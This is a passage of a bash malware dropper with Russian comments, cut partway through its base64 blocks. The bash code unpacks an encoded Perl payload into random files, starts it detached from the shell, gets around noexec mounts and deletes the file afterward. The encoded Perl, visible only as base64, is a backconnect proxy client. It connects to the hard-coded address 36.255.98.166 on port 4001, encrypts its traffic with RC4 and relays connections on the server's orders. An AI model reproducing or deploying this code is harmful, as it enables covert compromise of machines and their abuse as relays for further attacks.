KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_7b810715() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsK